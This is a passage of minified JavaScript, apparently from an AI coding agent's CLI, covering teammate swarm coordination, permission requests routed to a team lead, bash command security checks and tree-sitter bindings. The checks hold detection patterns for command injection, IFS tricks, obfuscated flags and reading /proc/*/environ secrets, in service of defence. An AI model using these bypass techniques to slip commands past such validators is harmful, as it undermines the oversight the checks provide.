XMA(q,{setAppState:K.setAppState});if(!Y.success||!Y.taskId)throw Error(Y.error||"Failed to spawn in-process teammate");return{taskId:Y.taskId,cleanup:()=>{Y.abortController?.abort()}}},async kill(A,K){mP1(A,K.setAppState)},renderStatus(A){if(!W_(A))return null;let{status:K,identity:q,progress:Y,awaitingPlanApproval:z,isIdle:w}=A,H=K==="running"?z?"warning":"success":K==="completed"?"success":K==="failed"?"error":K==="killed"?"error":"inactive",J=K;if(K==="running"&&w)J="idle";else if(K==="running"&&z)J="awaiting approval";let O=Y?` (${Y.toolUseCount} tools, ${Y.tokenCount} tokens)`:"";return Ld.createElement(S,null,Ld.createElement(V,{color:H},"[",J,"] ",q.agentName,"@",q.teamName,O))},renderOutput(A){return Ld.createElement(S,null,Ld.createElement(V,null,A))},getProgressMessage(A){if(!W_(A))return null;let{progress:K,lastReportedToolCount:q,lastReportedTokenCount:Y,identity:z}=A;if(!K)return null;let w=K.toolUseCount-q,H=K.tokenCount-Y;if(w===0&&H===0)return null;let J=[];if(w>0)J.push(`${w} new tool${w>1?"s":""} used`);if(H>0)J.push(`${H} new tokens`);return`Teammate ${z.agentName} progress: ${J.join(", ")}. Read ${A.outputFile} for output.`}}});var _KK={};_q(_KK,{TEAMMATE_SYSTEM_PROMPT_ADDENDUM:()=>II6});var II6=` # Teammate Communication IMPORTANT: You are running as a teammate in a swarm. Your plain text output is NOT visible to the user or the team lead. To communicate with anyone on your team: - Use the Teammate tool with the \`write\` operation to send messages to specific teammates - Use the Teammate tool with the \`broadcast\` operation sparingly for team-wide announcements - Just typing a response in text is not visible to others - you must use the tool The user interacts only with the team lead. Your work is coordinated through the task system and teammate messaging. `;import{existsSync as tj2,mkdirSync as icH,readdirSync as ncH,readFileSync as ej2,unlinkSync as rcH}from"fs";import{join as GKK}from"path";function KM2(A){return A.replace(/[^a-zA-Z0-9]/g,"-").toLowerCase()}function qM2(){return`perm-${Date.now()}-${Math.random().toString(36).substring(2,9)}`}function QP1(A){let K=A.teamName||T3(),q=A.workerId||q_(),Y=A.workerName||b9(),z=A.workerColor||PJ();if(!K)throw Error("Team name is required for permission requests");if(!q)throw Error("Worker ID is required for permission requests");if(!Y)throw Error("Worker name is required for permission requests");return{id:qM2(),workerId:q,workerName:Y,workerColor:z,teamName:K,toolName:A.toolName,toolUseId:A.toolUseId,description:A.description,input:A.input,permissionSuggestions:A.permissionSuggestions||[],status:"pending",createdAt:Date.now()}}function YM2(A){if(!(A||T3()))return!1;let q=q_();return!q||q==="team-lead"}function $MA(){let A=T3(),K=q_();return!!A&&!!K&&!YM2()}function zM2(){let A=process.env.HOME||process.env.USERPROFILE||".";return GKK(A,".claude","teams")}function wM2(A){let K=zM2(),q=GKK(K,KM2(A),"config.json");if(!tj2(q))return null;try{let Y=ej2(q,"utf-8");return G6(Y)}catch(Y){return h(`[PermissionSync] Failed to read team file for ${A}: ${Y instanceof Error?Y.message:String(Y)}`),null}}function ZKK(A){let K=A||T3();if(!K)return null;let q=wM2(K);if(!q)return h(`[PermissionSync] Team file not found for team: ${K}`),null;return q.members.find((z)=>z.agentId===q.leadAgentId)?.name||"team-lead"}function UP1(A){let K=ZKK(A.teamName);if(!K)return h("[PermissionSync] Cannot send permission request: leader name not found"),!1;try{let q=By6({requestId:A.id,workerId:A.workerId,workerName:A.workerName,workerColor:A.workerColor,toolName:A.toolName,toolUseId:A.toolUseId,description:A.description,input:A.input,permissionSuggestions:A.permissionSuggestions});return Q3(K,{from:A.workerName,text:UA(q),timestamp:new Date().toISOString(),color:A.workerColor},A.teamName),h(`[PermissionSync] Sent permission request ${A.id} to leader ${K} via mailbox`),!0}catch(q){return h(`[PermissionSync] Failed to send permission request via mailbox: ${q}`),KA(q instanceof Error?q:Error(String(q))),!1}}function pP1(A,K,q,Y){let z=Y||T3();if(!z)return h("[PermissionSync] Cannot send permission response: team name not found"),!1;try{let w=my6({requestId:q,decision:K.decision,feedback:K.feedback,updatedInput:K.updatedInput,permissionUpdates:K.permissionUpdates}),H=b9()||"team-lead";return Q3(A,{from:H,text:UA(w),timestamp:new Date().toISOString()},z),h(`[PermissionSync] Sent permission response for ${q} to worker ${A} via mailbox`),!0}catch(w){return h(`[PermissionSync] Failed to send permission response via mailbox: ${w}`),KA(w instanceof Error?w:Error(String(w))),!1}}function WKK(){return`sandbox-${Date.now()}-${Math.random().toString(36).substring(2,9)}`}function DKK(A,K,q){let Y=q||T3();if(!Y)return h("[PermissionSync] Cannot send sandbox permission request: team name not found"),!1;let z=ZKK(Y);if(!z)return h("[PermissionSync] Cannot send sandbox permission request: leader name not found"),!1;let w=q_(),H=b9(),J=PJ();if(!w||!H)return h("[PermissionSync] Cannot send sandbox permission request: worker ID or name not found"),!1;try{let O=gy6({requestId:K,workerId:w,workerName:H,workerColor:J,host:A});return Q3(z,{from:H,text:UA(O),timestamp:new Date().toISOString(),color:J},Y),h(`[PermissionSync] Sent sandbox permission request ${K} for host ${A} to leader ${z} via mailbox`),!0}catch(O){return h(`[PermissionSync] Failed to send sandbox permission request via mailbox: ${O}`),KA(O instanceof Error?O:Error(String(O))),!1}}function jKK(A,K,q,Y,z){let w=z||T3();if(!w)return h("[PermissionSync] Cannot send sandbox permission response: team name not found"),!1;try{let H=Fy6({requestId:K,host:q,allow:Y}),J=b9()||"team-lead";return Q3(A,{from:J,text:UA(H),timestamp:new Date().toISOString()},w),h(`[PermissionSync] Sent sandbox permission response for ${K} (host: ${q}, allow: ${Y}) to worker ${A} via mailbox`),!0}catch(H){return h(`[PermissionSync] Failed to send sandbox permission response via mailbox: ${H}`),KA(H instanceof Error?H:Error(String(H))),!1}}var AM2,YlH;var _MA=k(()=>{b1();z7();C1();Z1();_H();W2();b1();AM2=o(Yb(),1),YlH=U.object({id:U.string(),workerId:U.string(),workerName:U.string(),workerColor:U.string().optional(),teamName:U.string(),toolName:U.string(),toolUseId:U.string(),description:U.string(),input:U.record(U.string(),U.unknown()),permissionSuggestions:U.array(U.unknown()),status:U.enum(["pending","approved","rejected"]),resolvedBy:U.enum(["worker","leader"]).optional(),resolvedAt:U.number().optional(),feedback:U.string().optional(),updatedInput:U.unknown().optional(),permissionUpdates:U.array(U.unknown()).optional(),createdAt:U.number()})});function cP1(A){pQA.set(A.requestId,A),h(`[SwarmPermissionPoller] Registered callback for request ${A.requestId}`)}function MKK(A){pQA.delete(A),h(`[SwarmPermissionPoller] Unregistered callback for request ${A}`)}function PKK(A){return pQA.has(A)}function lP1(A){let K=pQA.get(A.requestId);if(!K)return h(`[SwarmPermissionPoller] No callback registered for mailbox response ${A.requestId}`),!1;if(h(`[SwarmPermissionPoller] Processing mailbox response for request ${A.requestId}: ${A.decision}`),pQA.delete(A.requestId),A.decision==="approved"){let q=A.permissionUpdates||[],Y=A.updatedInput;K.onAllow(Y,q)}else K.onReject(A.feedback);return!0}function VKK(A){dP1.set(A.requestId,A),h(`[SwarmPermissionPoller] Registered sandbox callback for request ${A.requestId}`)}function fKK(A){return dP1.has(A)}function NKK(A){let K=dP1.get(A.requestId);if(!K)return h(`[SwarmPermissionPoller] No sandbox callback registered for request ${A.requestId}`),!1;return h(`[SwarmPermissionPoller] Processing sandbox response for request ${A.requestId}: allow=${A.allow}`),dP1.delete(A.requestId),K.resolve(A.allow),!0}var SI6,pQA,dP1;var dQA=k(()=>{_MA();_H();Z1();SI6=o($A(),1),pQA=new Map;dP1=new Map});function TKK(A){hI6=A}function iP1(){return hI6}function vKK(){hI6=null}function EKK(A){bI6=A}function kKK(){return bI6}function CKK(){bI6=null}var hI6=null,bI6=null;function HM2(A){for(let K of A){if(typeof K!=="string")continue;let q=(K.match(/{/g)||[]).length,Y=(K.match(/}/g)||[]).length;if(q!==Y)return!0;let z=(K.match(/\(/g)||[]).length,w=(K.match(/\)/g)||[]).length;if(z!==w)return!0;let H=(K.match(/\[/g)||[]).length,J=(K.match(/\]/g)||[]).length;if(H!==J)return!0;if((K.match(/(?<!\\)"/g)||[]).length%2!==0)return!0;if((K.match(/(?<!\\)'/g)||[]).length%2!==0)return!0}return!1}function OM2(A,K=!1){let q="",Y="",z=!1,w=!1,H=!1;for(let J=0;J<A.length;J++){let O=A[J];if(H){if(H=!1,!z)q+=O;if(!z&&!w)Y+=O;continue}if(O==="\\"){if(H=!0,!z)q+=O;if(!z&&!w)Y+=O;continue}if(O==="'"&&!w){z=!z;continue}if(O==='"'&&!z){if(w=!w,!K)continue}if(!z)q+=O;if(!z&&!w)Y+=O}return{withDoubleQuotes:q,fullyUnquoted:Y}}function XM2(A){return A.replace(/\s+2\s*>&\s*1(?=\s|$)/g,"").replace(/[012]?\s*>\s*\/dev\/null/g,"").replace(/\s*<\s*\/dev\/null/g,"")}function $M2(A,K){if(K.length!==1)throw Error("hasUnescapedChar only works with single characters");let q=0;while(q<A.length){if(A[q]==="\\"&&q+1<A.length){q+=2;continue}if(A[q]===K)return!0;q++}return!1}function _M2(A){if(!A.originalCommand.trim())return{behavior:"allow",updatedInput:{command:A.originalCommand},decisionReason:{type:"other",reason:"Empty command is safe"}};return{behavior:"passthrough",message:"Command is not empty"}}function GM2(A){let{originalCommand:K}=A,q=K.trim();if(/^\s*\t/.test(K))return n("tengu_bash_security_check_triggered",{checkId:GH.INCOMPLETE_COMMANDS,subId:1}),{behavior:"ask",message:"Command appears to be an incomplete fragment (starts with tab)"};if(q.startsWith("-"))return n("tengu_bash_security_check_triggered",{checkId:GH.INCOMPLETE_COMMANDS,subId:2}),{behavior:"ask",message:"Command appears to be an incomplete fragment (starts with flags)"};if(/^\s*(&&|\|\||;|>>?|<)/.test(K))return n("tengu_bash_security_check_triggered",{checkId:GH.INCOMPLETE_COMMANDS,subId:3}),{behavior:"ask",message:"Command appears to be a continuation line (starts with operator)"};return{behavior:"passthrough",message:"Command appears complete"}}function ZM2(A){if(!xI6.test(A))return!1;let K=/\$\(cat\s*<<-?\s*(?:'+([A-Za-z_]\w*)'+|\\([A-Za-z_]\w*))/g,q,Y=[];while((q=K.exec(A))!==null){let w=q[1]||q[2];if(w)Y.push({start:q.index,delimiter:w})}if(Y.length===0)return!1;for(let{start:w,delimiter:H}of Y){let J=A.substring(w),O=H.replace(/[.*+?^${}()|[\]\\]/g,"\\$&");if(!new RegExp(`(?: |^[^\\n]* )${O}\\s*\\)`).test(J))return!1;let $=new RegExp(`^\\$\\(cat\\s*<<-?\\s*(?:'+${O}'+|\\\\${O})[^\\n]*\\n(?:[\\s\\S]*?\\n)?${O}\\s*\\)`);if(!J.match($))return!1}let z=A;for(let{delimiter:w}of Y){let H=w.replace(/[.*+?^${}()|[\]\\]/g,"\\$&"),J=new RegExp(`\\$\\(cat\\s*<<-?\\s*(?:'+${H}'+|\\\\${H})[^\\n]*\\n(?:[\\s\\S]*?\\n)?${H}\\s*\\)`);z=z.replace(J,"")}if(/\$\(/.test(z))return!1;if(/\${/.test(z))return!1;return!0}function WM2(A){let{originalCommand:K}=A;if(!xI6.test(K))return{behavior:"passthrough",message:"No heredoc in substitution"};if(ZM2(K))return{behavior:"allow",updatedInput:{command:K},decisionReason:{type:"other",reason:"Safe command substitution: cat with quoted/escaped heredoc delimiter"}};return{behavior:"passthrough",message:"Command substitution needs validation"}}function DM2(A){let{originalCommand:K,baseCommand:q}=A;if(q!=="git"||!/^git\s+commit\s+/.test(K))return{behavior:"passthrough",message:"Not a git commit"};let Y=K.match(/^git\s+commit\s+.*-m\s+(["'])([\s\S]*?)\1(.*)$/);if(Y){let[,z,w,H]=Y;if(z==='"'&&w&&/\$\(|`|\$\{/.test(w))return n("tengu_bash_security_check_triggered",{checkId:GH.GIT_COMMIT_SUBSTITUTION,subId:1}),{behavior:"ask",message:"Git commit message contains command substitution patterns"};if(H&&/\$\(|`|\$\{/.test(H))return{behavior:"passthrough",message:"Check patterns in flags"};if(w&&w.startsWith("-"))return n("tengu_bash_security_check_triggered",{checkId:GH.OBFUSCATED_FLAGS,subId:5}),{behavior:"ask",message:"Command contains quoted characters in flag names"};return{behavior:"allow",updatedInput:{command:K},decisionReason:{type:"other",reason:"Git commit with simple quoted message is allowed"}}}return{behavior:"passthrough",message:"Git commit needs validation"}}function jM2(A){let{originalCommand:K}=A;if(xI6.test(K))return{behavior:"passthrough",message:"Heredoc in substitution"};let q=/<<-?\s*'[^']+'/,Y=/<<-?\s*\\\w+/;if(q.test(K)||Y.test(K))return{behavior:"allow",updatedInput:{command:K},decisionReason:{type:"other",reason:"Heredoc with quoted/escaped delimiter is safe"}};return{behavior:"passthrough",message:"No heredoc patterns"}}function MM2(A){let{originalCommand:K,baseCommand:q}=A;if(q!=="jq")return{behavior:"passthrough",message:"Not jq"};if(/\bsystem\s*\(/.test(K))return n("tengu_bash_security_check_triggered",{checkId:GH.JQ_SYSTEM_FUNCTION,subId:1}),{behavior:"ask",message:"jq command contains system() function which executes arbitrary commands"};let Y=K.substring(3).trim();if(/(?:^|\s)(?:-f\b|--from-file|--rawfile|--slurpfile|-L\b|--library-path)/.test(Y))return n("tengu_bash_security_check_triggered",{checkId:GH.JQ_FILE_ARGUMENTS,subId:1}),{behavior:"ask",message:"jq command contains dangerous flags that could execute code or read arbitrary files"};return{behavior:"passthrough",message:"jq command is safe"}}function PM2(A){let{unquotedContent:K}=A,q="Command contains shell metacharacters (;, |, or &) in arguments";if(/(?:^|\s)["'][^"']*[;&][^"']*["'](?:\s|$)/.test(K))return n("tengu_bash_security_check_triggered",{checkId:GH.SHELL_METACHARACTERS,subId:1}),{behavior:"ask",message:"Command contains shell metacharacters (;, |, or &) in arguments"};if([/-name\s+["'][^"']*[;|&][^"']*["']/,/-path\s+["'][^"']*[;|&][^"']*["']/,/-iname\s+["'][^"']*[;|&][^"']*["']/].some((z)=>z.test(K)))return n("tengu_bash_security_check_triggered",{checkId:GH.SHELL_METACHARACTERS,subId:2}),{behavior:"ask",message:"Command contains shell metacharacters (;, |, or &) in arguments"};if(/-regex\s+["'][^"']*[;&][^"']*["']/.test(K))return n("tengu_bash_security_check_triggered",{checkId:GH.SHELL_METACHARACTERS,subId:3}),{behavior:"ask",message:"Command contains shell metacharacters (;, |, or &) in arguments"};return{behavior:"passthrough",message:"No metacharacters"}}function VM2(A){let{fullyUnquotedContent:K}=A;if(/[<>|]\s*\$[A-Za-z_]/.test(K)||/\$[A-Za-z_][A-Za-z0-9_]*\s*[|<>]/.test(K))return n("tengu_bash_security_check_triggered",{checkId:GH.DANGEROUS_VARIABLES,subId:1}),{behavior:"ask",message:"Command contains variables in dangerous contexts (redirections or pipes)"};return{behavior:"passthrough",message:"No dangerous variables"}}function fM2(A){let{unquotedContent:K,fullyUnquotedContent:q}=A;if($M2(K,"`"))return{behavior:"ask",message:"Command contains backticks (`) for command substitution"};for(let{pattern:Y,message:z}of JM2)if(Y.test(K))return n("tengu_bash_security_check_triggered",{checkId:GH.DANGEROUS_PATTERNS_COMMAND_SUBSTITUTION,subId:1}),{behavior:"ask",message:`Command contains ${z}`};if(/</.test(q))return n("tengu_bash_security_check_triggered",{checkId:GH.DANGEROUS_PATTERNS_INPUT_REDIRECTION,subId:1}),{behavior:"ask",message:"Command contains input redirection (<) which could read sensitive files"};if(/>/.test(q))return n("tengu_bash_security_check_triggered",{checkId:GH.DANGEROUS_PATTERNS_OUTPUT_REDIRECTION,subId:1}),{behavior:"ask",message:"Command contains output redirection (>) which could write to arbitrary files"};return{behavior:"passthrough",message:"No dangerous patterns"}}function NM2(A){let{fullyUnquotedContent:K}=A;if(!/[\n\r]/.test(K))return{behavior:"passthrough",message:"No newlines"};if(/[\n\r]\s*[a-zA-Z/.~]/.test(K))return n("tengu_bash_security_check_triggered",{checkId:GH.NEWLINES,subId:1}),{behavior:"ask",message:"Command contains newlines that could separate multiple commands"};return{behavior:"passthrough",message:"Newlines appear to be within data"}}function TM2(A){let{originalCommand:K}=A;if(/\$IFS|\$\{[^}]*IFS/.test(K))return n("tengu_bash_security_check_triggered",{checkId:GH.IFS_INJECTION,subId:1}),{behavior:"ask",message:"Command contains IFS variable usage which could bypass security validation"};return{behavior:"passthrough",message:"No IFS injection detected"}}function vM2(A){let{originalCommand:K}=A;if(/\/proc\/.*\/environ/.test(K))return n("tengu_bash_security_check_triggered",{checkId:GH.PROC_ENVIRON_ACCESS,subId:1}),{behavior:"ask",message:"Command accesses /proc/*/environ which could expose sensitive environment variables"};return{behavior:"passthrough",message:"No /proc/environ access detected"}}function EM2(A){let{originalCommand:K}=A,q=Bz(K);if(!q.success)return{behavior:"passthrough",message:"Parse failed, handled elsewhere"};let Y=q.tokens;if(!Y.some((w)=>typeof w==="object"&&w!==null&&("op"in w)&&(w.op===";"||w.op==="&&"||w.op==="||")))return{behavior:"passthrough",message:"No command separators"};if(HM2(Y))return n("tengu_bash_security_check_triggered",{checkId:GH.MALFORMED_TOKEN_INJECTION,subId:1}),{behavior:"ask",message:"Command contains ambiguous syntax with command separators that could be misinterpreted"};return{behavior:"passthrough",message:"No malformed token injection detected"}}function kM2(A){let{originalCommand:K,baseCommand:q}=A,Y=/[|&;]/.test(K);if(q==="echo"&&!Y)return{behavior:"passthrough",message:"echo command is safe and has no dangerous flags"};if(/\$'[^']*'/.test(K))return n("tengu_bash_security_check_triggered",{checkId:GH.OBFUSCATED_FLAGS,subId:5}),{behavior:"ask",message:"Command contains ANSI-C quoting which can hide characters"};if(/\$"[^"]*"/.test(K))return n("tengu_bash_security_check_triggered",{checkId:GH.OBFUSCATED_FLAGS,subId:6}),{behavior:"ask",message:"Command contains locale quoting which can hide characters"};if(/\$['"]{2}\s*-/.test(K))return n("tengu_bash_security_check_triggered",{checkId:GH.OBFUSCATED_FLAGS,subId:9}),{behavior:"ask",message:"Command contains empty special quotes before dash (potential bypass)"};if(/(?:^|\s)(?:''|"")+\s*-/.test(K))return n("tengu_bash_security_check_triggered",{checkId:GH.OBFUSCATED_FLAGS,subId:7}),{behavior:"ask",message:"Command contains empty quotes before dash (potential bypass)"};let z=!1,w=!1,H=!1;for(let J=0;J<K.length-1;J++){let O=K[J],X=K[J+1];if(H){H=!1;continue}if(O==="\\"){H=!0;continue}if(O==="'"&&!w){z=!z;continue}if(O==='"'&&!z){w=!w;continue}if(z||w)continue;if(O&&X&&/\s/.test(O)&&/['"`]/.test(X)){let $=X,_=J+2,G="";while(_<K.length&&K[_]!==$)G+=K[_],_++;if(_<K.length&&K[_]===$&&G.startsWith("-"))return n("tengu_bash_security_check_triggered",{checkId:GH.OBFUSCATED_FLAGS,subId:4}),{behavior:"ask",message:"Command contains quoted characters in flag names"}}if(O&&X&&/\s/.test(O)&&X==="-"){let $=J+1,_="";while($<K.length){let G=K[$];if(!G)break;if(/[\s=]/.test(G))break;if(/['"`]/.test(G)){if(q==="cut"&&_==="-d"&&/['"`]/.test(G))break;if($+1<K.length){let Z=K[$+1];if(Z&&!/[a-zA-Z0-9_'"-]/.test(Z))break}}_+=G,$++}if(_.includes('"')||_.includes("'"))return n("tengu_bash_security_check_triggered",{checkId:GH.OBFUSCATED_FLAGS,subId:1}),{behavior:"ask",message:"Command contains quoted characters in flag names"}}}if(/\s['"`]-/.test(A.fullyUnquotedContent))return n("tengu_bash_security_check_triggered",{checkId:GH.OBFUSCATED_FLAGS,subId:2}),{behavior:"ask",message:"Command contains quoted characters in flag names"};if(/['"`]{2}-/.test(A.fullyUnquotedContent))return n("tengu_bash_security_check_triggered",{checkId:GH.OBFUSCATED_FLAGS,subId:3}),{behavior:"ask",message:"Command contains quoted characters in flag names"};return{behavior:"passthrough",message:"No obfuscated flags detected"}}function wm(A){let K=A.split(" ")[0]||"",{withDoubleQuotes:q,fullyUnquoted:Y}=OM2(A,K==="jq"),z={originalCommand:A,baseCommand:K,unquotedContent:q,fullyUnquotedContent:XM2(Y)},w=[_M2,GM2,WM2,jM2,DM2];for(let J of w){let O=J(z);if(O.behavior==="allow")return{behavior:"passthrough",message:O.decisionReason?.type==="other"?O.decisionReason.reason:"Command allowed"};if(O.behavior!=="passthrough")return O}let H=[MM2,kM2,PM2,VM2,NM2,TM2,vM2,fM2,EM2];for(let J of H){let O=J(z);if(O.behavior==="ask")return O}return{behavior:"passthrough",message:"Command passed all security checks"}}var xI6,JM2,GH;var nP1=k(()=>{l1();gO();xI6=/\$\(.*<</,JM2=[{pattern:/<\(/,message:"process substitution <()"},{pattern:/>\(/,message:"process substitution >()"},{pattern:/\$\(/,message:"$() command substitution"},{pattern:/\$\{/,message:"${} parameter substitution"},{pattern:/~\[/,message:"Zsh-style parameter expansion"},{pattern:/\(e:/,message:"Zsh-style glob qualifiers"},{pattern:/<#/,message:"PowerShell comment syntax"}],GH={INCOMPLETE_COMMANDS:1,JQ_SYSTEM_FUNCTION:2,JQ_FILE_ARGUMENTS:3,OBFUSCATED_FLAGS:4,SHELL_METACHARACTERS:5,DANGEROUS_VARIABLES:6,NEWLINES:7,DANGEROUS_PATTERNS_COMMAND_SUBSTITUTION:8,DANGEROUS_PATTERNS_INPUT_REDIRECTION:9,DANGEROUS_PATTERNS_OUTPUT_REDIRECTION:10,IFS_INJECTION:11,GIT_COMMIT_SUBSTITUTION:12,PROC_ENVIRON_ACCESS:13,MALFORMED_TOKEN_INJECTION:14}});function GMA(A){if(A!==Ft)throw Error("Illegal constructor")}function lQA(A){return!!A&&typeof A.row==="number"&&typeof A.column==="number"}function yKK(A){_1=A}function FI6(A,K,q,Y){let z=q-K,w=A.textCallback(K,Y);if(w){K+=w.length;while(K<q){let H=A.textCallback(K,Y);if(H&&H.length>0)K+=H.length,w+=H;else break}if(K>q)w=w.slice(0,z)}return w??""}function gI6(A,K,q,Y,z){for(let w=0,H=z.length;w<H;w++){let J=_1.getValue(q,"i32");q+=JK;let O=uJ(K,q);q+=af,z[w]={patternIndex:Y,name:A.captureNames[J],node:O}}return q}function n5(A,K=0){let q=Q7+K*af;_1.setValue(q,A.id,"i32"),q+=JK,_1.setValue(q,A.startIndex,"i32"),q+=JK,_1.setValue(q,A.startPosition.row,"i32"),q+=JK,_1.setValue(q,A.startPosition.column,"i32"),q+=JK,_1.setValue(q,A[0],"i32")}function uJ(A,K=Q7){let q=_1.getValue(K,"i32");if(K+=JK,q===0)return null;let Y=_1.getValue(K,"i32");K+=JK;let z=_1.getValue(K,"i32");K+=JK;let w=_1.getValue(K,"i32");K+=JK;let H=_1.getValue(K,"i32");return new IM2(Ft,{id:q,tree:A,startIndex:Y,startPosition:{row:z,column:w},other:H})}function bw(A,K=Q7){_1.setValue(K+0*JK,A[0],"i32"),_1.setValue(K+1*JK,A[1],"i32"),_1.setValue(K+2*JK,A[2],"i32"),_1.setValue(K+3*JK,A[3],"i32")}function Tv(A){A[0]=_1.getValue(Q7+0*JK,"i32"),A[1]=_1.getValue(Q7+1*JK,"i32"),A[2]=_1.getValue(Q7+2*JK,"i32"),A[3]=_1.getValue(Q7+3*JK,"i32")}function ML(A,K){_1.setValue(A,K.row,"i32"),_1.setValue(A+JK,K.column,"i32")}function d3A(A){return{row:_1.getValue(A,"i32")>>>0,column:_1.getValue(A+JK,"i32")>>>0}}function IKK(A,K){ML(A,K.startPosition),A+=Hm,ML(A,K.endPosition),A+=Hm,_1.setValue(A,K.startIndex,"i32"),A+=JK,_1.setValue(A,K.endIndex,"i32"),A+=JK}function oP1(A){let K={};return K.startPosition=d3A(A),A+=Hm,K.endPosition=d3A(A),A+=Hm,K.startIndex=_1.getValue(A,"i32")>>>0,A+=JK,K.endIndex=_1.getValue(A,"i32")>>>0,K}function SKK(A,K=Q7){ML(K,A.startPosition),K+=Hm,ML(K,A.oldEndPosition),K+=Hm,ML(K,A.newEndPosition),K+=Hm,_1.setValue(K,A.startIndex,"i32"),K+=JK,_1.setValue(K,A.oldEndIndex,"i32"),K+=JK,_1.setValue(K,A.newEndIndex,"i32"),K+=JK}function hKK(A){let K={};return K.major_version=_1.getValue(A,"i32"),A+=JK,K.minor_version=_1.getValue(A,"i32"),A+=JK,K.field_count=_1.getValue(A,"i32"),K}function bKK(A,K,q,Y){if(A.length!==3)throw Error(`Wrong number of arguments to \`#${q}\` predicate. Expected 2, got ${A.length-1}`);if(!RKK(A[1]))throw Error(`First argument of \`#${q}\` predicate must be a capture. Got "${A[1].value}"`);let z=q==="eq?"||q==="any-eq?",w=!q.startsWith("any-");if(RKK(A[2])){let H=A[1].name,J=A[2].name;Y[K].push((O)=>{let X=[],$=[];for(let G of O){if(G.name===H)X.push(G.node);if(G.name===J)$.push(G.node)}let _=V6((G,Z,W)=>{return W?G.text===Z.text:G.text!==Z.text},"compare");return w?X.every((G)=>$.some((Z)=>_(G,Z,z))):X.some((G)=>$.some((Z)=>_(G,Z,z)))})}else{let H=A[1].name,J=A[2].value,O=V6(($)=>$.text===J,"matches"),X=V6(($)=>$.text!==J,"doesNotMatch");Y[K].push(($)=>{let _=[];for(let Z of $)if(Z.name===H)_.push(Z.node);let G=z?O:X;return w?_.every(G):_.some(G)})}}function xKK(A,K,q,Y){if(A.length!==3)throw Error(`Wrong number of arguments to \`#${q}\` predicate. Expected 2, got ${A.length-1}.`);if(A[1].type!=="capture")throw Error(`First argument of \`#${q}\` predicate must be a capture. Got "${A[1].value}".`);if(A[2].type!=="string")throw Error(`Second argument of \`#${q}\` predicate must be a string. Got @${A[2].name}.`);let z=q==="match?"||q==="any-match?",w=!q.startsWith("any-"),H=A[1].name,J=new RegExp(A[2].value);Y[K].push((O)=>{let X=[];for(let _ of O)if(_.name===H)X.push(_.node.text);let $=V6((_,G)=>{return G?J.test(_):!J.test(_)},"test");if(X.length===0)return!z;return w?X.every((_)=>$(_,z)):X.some((_)=>$(_,z))})}function uKK(A,K,q,Y){if(A.length<2)throw Error(`Wrong number of arguments to \`#${q}\` predicate. Expected at least 1. Got ${A.length-1}.`);if(A[1].type!=="capture")throw Error(`First argument of \`#${q}\` predicate must be a capture. Got "${A[1].value}".`);let z=q==="any-of?",w=A[1].name,H=A.slice(2);if(!H.every(QI6))throw Error(`Arguments to \`#${q}\` predicate must be strings.".`);let J=H.map((O)=>O.value);Y[K].push((O)=>{let X=[];for(let $ of O)if($.name===w)X.push($.node.text);if(X.length===0)return!z;return X.every(($)=>J.includes($))===z})}function BKK(A,K,q,Y,z){if(A.length<2||A.length>3)throw Error(`Wrong number of arguments to \`#${q}\` predicate. Expected 1 or 2. Got ${A.length-1}.`);if(!A.every(QI6))throw Error(`Arguments to \`#${q}\` predicate must be strings.".`);let w=q==="is?"?Y:z;if(!w[K])w[K]={};w[K][A[1].value]=A[2]?.value??null}function mKK(A,K,q){if(A.length<2||A.length>3)throw Error(`Wrong number of arguments to \`#set!\` predicate. Expected 1 or 2. Got ${A.length-1}.`);if(!A.every(QI6))throw Error('Arguments to `#set!` predicate must be strings.".');if(!q[K])q[K]={};q[K][A[1].value]=A[2]?.value??null}function gKK(A,K,q,Y,z,w,H,J,O,X,$){if(K===SM2){let _=Y[q];w.push({type:"capture",name:_})}else if(K===hM2)w.push({type:"string",value:z[q]});else if(w.length>0){if(w[0].type!=="string")throw Error("Predicates must begin with a literal value");let _=w[0].value;switch(_){case"any-not-eq?":case"not-eq?":case"any-eq?":case"eq?":bKK(w,A,_,H);break;case"any-not-match?":case"not-match?":case"any-match?":case"match?":xKK(w,A,_,H);break;case"not-any-of?":case"any-of?":uKK(w,A,_,H);break;case"is?":case"is-not?":BKK(w,A,_,X,$);break;case"set!":mKK(w,A,O);break;default:J[A].push({operator:_,operands:w.slice(1)})}w.length=0}}async function FKK(A){if(!rP1)rP1=await mM2(A);return rP1}function QKK(){return!!rP1}var CM2,V6=(A,K)=>CM2(A,"name",{value:K,configurable:!0}),LKK=2,JK=4,uI6,af,Hm,iQA,gt,Ft,_1,LM2,RM2,yM2,IM2,SM2=1,hM2=2,bM2,DlH,RKK,QI6,BS,cQA,xM2,uM2,aP1,BM2,mM2,rP1=null,Q7,BI6,mI6,nQA;var UKK=k(()=>{CM2=Object.defineProperty,uI6=4*JK,af=5*JK,Hm=2*JK,iQA=2*JK+2*Hm,gt={row:0,column:0},Ft=Symbol("INTERNAL");V6(GMA,"assertInternal");V6(lQA,"isPoint");V6(yKK,"setModule");LM2=class{static{V6(this,"LookaheadIterator")}[0]=0;language;constructor(A,K,q){GMA(A),this[0]=K,this.language=q}get currentTypeId(){return _1._ts_lookahead_iterator_current_symbol(this[0])}get currentType(){return this.language.types[this.currentTypeId]||"ERROR"}delete(){_1._ts_lookahead_iterator_delete(this[0]),this[0]=0}reset(A,K){if(_1._ts_lookahead_iterator_reset(this[0],A[0],K))return this.language=A,!0;return!1}resetState(A){return Boolean(_1._ts_lookahead_iterator_reset_state(this[0],A))}[Symbol.iterator](){return{next:V6(()=>{if(_1._ts_lookahead_iterator_next(this[0]))return{done:!1,value:this.currentType};return{done:!0,value:""}},"next")}}};V6(FI6,"getText");RM2=class A{static{V6(this,"Tree")}[0]=0;textCallback;language;constructor(K,q,Y,z){GMA(K),this[0]=q,this.language=Y,this.textCallback=z}copy(){let K=_1._ts_tree_copy(this[0]);return new A(Ft,K,this.language,this.textCallback)}delete(){_1._ts_tree_delete(this[0]),this[0]=0}get rootNode(){return _1._ts_tree_root_node_wasm(this[0]),uJ(this)}rootNodeWithOffset(K,q){let Y=Q7+af;return _1.setValue(Y,K,"i32"),ML(Y+JK,q),_1._ts_tree_root_node_with_offset_wasm(this[0]),uJ(this)}edit(K){SKK(K),_1._ts_tree_edit_wasm(this[0])}walk(){return this.rootNode.walk()}getChangedRanges(K){if(!(K instanceof A))throw TypeError("Argument must be a Tree");_1._ts_tree_get_changed_ranges_wasm(this[0],K[0]);let q=_1.getValue(Q7,"i32"),Y=_1.getValue(Q7+JK,"i32"),z=Array(q);if(q>0){let w=Y;for(let 